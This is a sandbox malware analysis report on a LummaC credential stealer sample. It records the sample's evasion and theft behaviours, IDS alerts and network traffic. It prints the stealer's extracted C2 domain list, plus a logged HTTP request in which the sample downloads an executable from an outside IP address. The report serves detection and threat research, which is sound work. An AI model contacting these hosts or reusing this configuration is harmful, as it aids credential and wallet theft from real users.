Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1571930
MD5:	2b86aab9799fdb49d90e8d5c3f773c33
SHA1:	73f675bfc40ae943545488f8279ff6969d47588b
SHA256:	07a31ff1a605c2c322b555d4a0343f99fb780ab06b05dc6c0a8c0a426f5bd04a
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to detect virtual machines (SIDT)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7536 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 2B86AAB9799FDB49D90E8D5C3F773C33)

chrome.exe (PID: 5660 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6448 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1912,i,18367878757296781263,2772418614693256820,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6276 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7148 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=1920,i,1634595659012258759,6139322719468599713,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["impend-differ.biz", "dare-curbys.biz", "se-blurry.biz", "formy-spill.biz", "covery-mover.biz", "print-vexer.biz", "dwell-exclaim.biz", "atten-supporse.biz", "zinc-sneark.biz"], "Build id": "26y--"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000003.1376183185.000000000165F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1407499798.0000000001661000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1368467947.0000000001655000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1407422388.0000000001661000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1376160704.0000000001651000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1375174685.0000000001651000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1381675218.0000000001660000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1381633869.0000000001660000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1406129961.000000000165F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1369045879.0000000001655000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1367911637.000000000164F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7536	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7536	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 9 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T21:19:11.660083+0100	2028371	3	Unknown Traffic	192.168.2.7	49717	104.21.48.1	443	TCP
2024-12-09T21:19:11.660083+0100	2028371	3	Unknown Traffic	192.168.2.7	49714	104.21.48.1	443	TCP
2024-12-09T21:19:19.383455+0100	2028371	3	Unknown Traffic	192.168.2.7	49701	104.21.48.1	443	TCP
2024-12-09T21:19:21.810028+0100	2028371	3	Unknown Traffic	192.168.2.7	49703	104.21.48.1	443	TCP
2024-12-09T21:19:25.875569+0100	2028371	3	Unknown Traffic	192.168.2.7	49720	104.21.48.1	443	TCP
2024-12-09T21:19:28.329015+0100	2028371	3	Unknown Traffic	192.168.2.7	49729	104.21.48.1	443	TCP
2024-12-09T21:19:30.754439+0100	2028371	3	Unknown Traffic	192.168.2.7	49744	104.21.48.1	443	TCP
2024-12-09T21:19:35.955179+0100	2028371	3	Unknown Traffic	192.168.2.7	49748	104.21.48.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T21:19:20.395592+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49701	104.21.48.1	443	TCP
2024-12-09T21:19:22.846667+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49703	104.21.48.1	443	TCP
2024-12-09T21:19:36.778444+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49748	104.21.48.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T21:19:20.395592+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49701	104.21.48.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T21:19:22.846667+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49703	104.21.48.1	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T21:19:11.660083+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49718	104.21.48.1	443	TCP
2024-12-09T21:19:11.660083+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49717	104.21.48.1	443	TCP
2024-12-09T21:19:11.660083+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49715	104.21.48.1	443	TCP
2024-12-09T21:19:11.660083+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49714	104.21.48.1	443	TCP
2024-12-09T21:19:19.383455+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49701	104.21.48.1	443	TCP
2024-12-09T21:19:21.810028+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49703	104.21.48.1	443	TCP
2024-12-09T21:19:25.875569+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49720	104.21.48.1	443	TCP
2024-12-09T21:19:28.329015+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49729	104.21.48.1	443	TCP
2024-12-09T21:19:30.754439+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49744	104.21.48.1	443	TCP
2024-12-09T21:19:35.955179+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49748	104.21.48.1	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T21:19:38.232907+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49751	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T21:19:17.988560+0100	2057921	1	Domain Observed Used for C2 Detected	192.168.2.7	53627	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T21:19:29.059000+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49729	104.21.48.1	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T21:19:30.758714+0100	2843864	1	A Network Trojan was detected	192.168.2.7	49744	104.21.48.1	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://atten-supporse.biz/apiogb	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/8	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/P	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/def.exeXSb	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/apih	Avira URL Cloud: Label: malware

Found malware configuration

Source: file.exe.7536.1.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["impend-differ.biz", "dare-curbys.biz", "se-blurry.biz", "formy-spill.biz", "covery-mover.biz", "print-vexer.biz", "dwell-exclaim.biz", "atten-supporse.biz", "zinc-sneark.biz"], "Build id": "26y--"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000001.00000002.1663577091.0000000000B61000.00000040.00000001.01000000.00000003.sdmp	String decryptor: impend-differ.biz
Source: 00000001.00000002.1663577091.0000000000B61000.00000040.00000001.01000000.00000003.sdmp	String decryptor: print-vexer.biz
Source: 00000001.00000002.1663577091.0000000000B61000.00000040.00000001.01000000.00000003.sdmp	String decryptor: dare-curbys.biz
Source: 00000001.00000002.1663577091.0000000000B61000.00000040.00000001.01000000.00000003.sdmp	String decryptor: covery-mover.biz
Source: 00000001.00000002.1663577091.0000000000B61000.00000040.00000001.01000000.00000003.sdmp	String decryptor: formy-spill.biz
Source: 00000001.00000002.1663577091.0000000000B61000.00000040.00000001.01000000.00000003.sdmp	String decryptor: dwell-exclaim.biz
Source: 00000001.00000002.1663577091.0000000000B61000.00000040.00000001.01000000.00000003.sdmp	String decryptor: zinc-sneark.biz
Source: 00000001.00000002.1663577091.0000000000B61000.00000040.00000001.01000000.00000003.sdmp	String decryptor: se-blurry.biz
Source: 00000001.00000002.1663577091.0000000000B61000.00000040.00000001.01000000.00000003.sdmp	String decryptor: atten-supporse.biz
Source: 00000001.00000002.1663577091.0000000000B61000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000001.00000002.1663577091.0000000000B61000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000001.00000002.1663577091.0000000000B61000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000001.00000002.1663577091.0000000000B61000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000001.00000002.1663577091.0000000000B61000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000001.00000002.1663577091.0000000000B61000.00000040.00000001.01000000.00000003.sdmp	String decryptor: LOGS11--LiveTraffic

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.7:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.7:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.7:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.7:49748 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000001.00000002.1670449842.00000000063B2000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1573900378.0000000008770000.00000004.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057921 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz) : 192.168.2.7:53627 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49701 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49720 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49729 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49703 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49744 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49748 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49718 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49717 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49715 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49714 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49703 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49703 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49701 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49701 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49729 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49748 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.7:49744 -> 104.21.48.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: impend-differ.biz
Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	URLs: se-blurry.biz
Source: Malware configuration extractor	URLs: formy-spill.biz
Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	URLs: print-vexer.biz
Source: Malware configuration extractor	URLs: dwell-exclaim.biz
Source: Malware configuration extractor	URLs: atten-supporse.biz
Source: Malware configuration extractor	URLs: zinc-sneark.biz

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 20:19:37 GMTContent-Type: application/octet-streamContent-Length: 2793472Last-Modified: Mon, 09 Dec 2024 20:04:27 GMTConnection: keep-aliveETag: "67574d4b-2aa000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 47 78 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 69 78 6e 61 6a 67 6f 6d 00 40 2a 00 00 a0 00 00 00 3e 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 65 79 75 71 71 79 66 00 20 00 00 00 e0 2a 00 00 06 00 00 00 78 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2b 00 00 22 00 00 00 7e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View

IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49701 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49720 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49729 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49703 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49744 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49751 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49748 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49717 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49714 -> 104.21.48.1:443

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_104.7.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_104.7.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
